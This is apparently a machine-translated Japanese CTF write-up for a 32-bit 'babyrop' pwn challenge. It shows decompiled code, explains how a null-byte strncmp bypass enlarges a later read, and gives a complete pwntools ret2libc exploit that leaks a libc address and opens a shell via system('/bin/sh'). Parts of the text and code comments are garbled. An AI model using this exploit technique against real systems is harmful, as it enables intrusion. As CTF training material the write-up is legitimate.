pwn問題をテストします.複数の脆弱性の組合せ-スタックのフォーマット
4128 ワード
checksecメカニズムとfile情報
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
./babyrop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter
/lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=6503b3ef34c8d55c8d3e861fb4de2110d0f9f8e2, stripped
うんてん
~
IDA分析
ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf; // [esp+11h] [ebp-E7h] 231
if ( a1 == 127 )
result = read(0, &buf, 0xC8u); // 200
else
result = read(0, &buf, a1); // a1
return result;
}
この抜け穴は、私は長い間見ることができて、自分も出会ったことがなくて、次は記憶性が長くなって、これは戻り数字を利用してスタックの入力バイト数を拡大しました.
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h]
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s; // [esp+Ch] [ebp-4Ch]
char buf[7]; // [esp+2Ch] [ebp-2Ch] 44
unsigned __int8 v5; // [esp+33h] [ebp-25h]
ssize_t v6; // [esp+4Ch] [ebp-Ch]
memset(&s, 0, 0x20u);
memset(buf, 0, 0x20u);
sprintf(&s, "%ld", a1);
v6 = read(0, buf, 0x20u); // 32
buf[v6 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, &s, v1) )
exit(0);
write(1, "Correct
", 8u);
return v5; # v5 a1 return
}
v 5を比較的大きな数字に上書きできるかどうかを確認する必要があります
-0000002D db ? ; undefined
-0000002C buf db ? | #
-0000002B db ? ; undefined |
-0000002A db ? ; undefined |
-00000029 db ? ; undefined |
-00000028 db ? ; undefined
たんじゅんぶんせき
size #
buf #buf
1 #
@PLT
EXP
シナリオにはonegadgetとsysten("/bin/sh")があり、別々に見に行きます
#!/usr/bin/env python
#coding=utf8
from pwn import*
context.log_level = 'debug'
context.terminal =['gnome-terminal','-x','bash','-c']
p = process("./babyrop.babyrop")
libc = ELF("libc.so.6")
libc = ELF("libc-2.23.so")
elf = ELF("./babyrop.babyrop")
libc_base = 0xf7e05000
one_gadget_offset = 0x3a80e
gadget_addr = libc_base + one_gadget_offset
print("[+]---->gadget_addr = ") + hex(gadget_addr)
#gdb.attach(p,"b* "+ "0x804871F")
payload = "\x00"*7 + "\xff" #
p.sendline(payload)
payload1 = "A"*0Xe7 + "B"*4 + p32(elf.plt['write'])+p32(0x80487D0)+p32(1)+p32(elf.got['alarm'])+p32(4)
p.recvline("Correct
")
#gdb.attach(p)
p.sendline(payload1)
write_addr = u32(p.recv(4))
libc_base = write_addr - libc.symbols['alarm']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()
print ("[+]---->write_addr = ") +hex(write_addr)
print ("[+]---->libc_base = ") +hex(libc_base)
print ("[+]---->system_addr = ") +hex(system_addr)
print ("[+]---->bin_sh_addr = ") +hex(bin_sh_addr)
print ("[+]---->write_plt = ") +hex(elf.plt['write'])
print ("[+]---->write_got = ") +hex(elf.got['write'])
#p.recv()
#gdb.attach(p)
payload2 = "A"*0Xe7 + "B"*4 + p32(system_addr)+p32(0)+p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()